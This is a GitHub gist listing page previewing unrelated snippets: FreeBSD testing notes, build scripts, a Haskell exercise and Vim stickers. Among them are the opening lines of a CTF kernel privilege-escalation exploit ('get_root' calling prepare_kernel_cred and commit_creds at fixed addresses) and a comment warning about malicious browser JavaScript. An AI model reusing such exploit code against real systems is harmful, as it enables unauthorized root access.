Skip to content

Instantly share code, notes, and snippets.

anonymous
anonymous / gist:55dd39bc15dfdf077969
Created May 15, 2014 15:40
Continuous testing items for FreeBSD
* Coverity integration, with uqs@ (lwhsu)
* Clang builds for doing static analysis with
scan-build (lwhsu)
* integrating Jenkins with Kyua (rodrigc, jmmv)
* boot time testing of images built with Jenkins.
-> libvirt to boot in VM's?
-> boot on real hardware?
-> reuse scripts from Kyua for booting in QEMU?
* provisioning VM's for doing Jenkins builds
-> look at pc-sysinstall scripts written by lwhsu
@crabtw
crabtw / cmake.scan.sh
Created March 26, 2013 05:35
cross scan-build wrappers
#!/bin/sh
TARGET="mips-unknown-linux-uclibc"
TOOLCHAIN_PATH="$HOME/x-tools/$TARGET"
SYSROOT="$HOME/sysroot/$TARGET"
SCAN_BUILD_DIR="$HOME/src/llvm-svn/tools/clang/tools/scan-build"
SCAN_BUILD_CC="$HOME/bin/$TARGET-clang"
SCAN_BUILD_CXX="$HOME/bin/$TARGET-clang++"
SCAN_BUILD_OUT="analysis"
@Inndy
Inndy / What the hell...js
Last active March 12, 2018 13:51
Such stupid, such dangrous.
/*
* 這是神人大大剛剛發的JS
* 我稍微分析了一下
* 請各位不要幹這種無腦的事情
* 還好他很 ______ 的只會讓你追蹤他,按他讚,Tag更多好友中標
* 如果今天神人大大是真正的Hacker....
* 他可以偷走你的個人資料,對你的帳號做各種奇怪的事情
* Ex:對你的好友發送詐騙訊息,把你加入奇怪的社團
* 在瀏覽器內執行來路不明的 JavaScript 是非常危險的...
*/
@volpino
volpino / jfk_exploit.c
Created March 1, 2015 22:05
BKP2015 JFK
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
void get_root(void) {
void * (*prepare_kernel_cred)(void *) = (void *) 0xc00387f4;
void (*commit_cred)(void *) = (void *) 0xc00384b4;
@dctrwatson
dctrwatson / JenkinsDiffEventListener.php
Last active January 11, 2020 22:56
Jenkins Phabricator Inegration
<?php
/*
* Copyright 2013 Disqus, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
@chusiang
chusiang / vim-editor-sticker.md
Last active May 24, 2020 14:25
Vim 推廣貼紙

Vim 推廣貼紙

想幫筆電 (Laptop) 貼上 Vim 貼紙嗎?喜歡 Vim 嗎?現在您可以帶回家了!

Vim (editor) sticker

[» 更多照片][more]

  • 貼紙圖檔來源:[File:Vimlogo.svg | Wikimedia Commons][VimLogo.svg]。
  • 尺寸:5cm * 5cm。
@smealum
smealum / qr.py
Created January 11, 2015 22:51
ninjhax stuff
import os
import sys
import struct
import ctypes
import compress
#compress.py from https://github.com/magical/nlzss/blob/master/compress.py
#slightly modified padding
def getWord(b, k, n=4):
return sum(list(map(lambda c: b[k+c]<<(c*8),range(n))))
-- This exercise covers the first 6 chapters of "Learn You a Haskell for Great Good!"
-- Chapter 1 - http://learnyouahaskell.com/introduction
-- Chapter 2 - http://learnyouahaskell.com/starting-out
-- Chapter 3 - http://learnyouahaskell.com/types-and-typeclasses
-- Chapter 4 - http://learnyouahaskell.com/syntax-in-functions
-- Chapter 5 - http://learnyouahaskell.com/recursion
-- Chapter 6 - http://learnyouahaskell.com/higher-order-functions
-- Download this file and then type ":l Chapter-1-6.hs" in GHCi to load this exercise
@lwhsu
lwhsu / bisect.py
Last active October 24, 2020 06:06
#!/usr/bin/env python
import os
f = open('revisions')
revisions = [x.rstrip('\n') for x in f.readlines()]
low = 0
high = len(revisions) - 1
ptr = 0
@prash-wghats
prash-wghats / Readme_VSCODE_FreeBSD
Last active June 4, 2021 08:21
Notes for Building Electron and VSCode in FreeBSD11
Copy all the files to the build directory.
Copy icudtl.dat to the build directory. (you can find it in the vscode downloads ex for linux).
chromium version in port is 52.0.2743.116.
This was built with FreeBSD 11.0-RELEASE-p1. If building with other versions probably need to change
the freebsd versions in diff files (ex. freebsd11 => freebsd10)
Installed
node => v6.9.1
npm => 3.9.2
>chmod 755 vscode_build.sh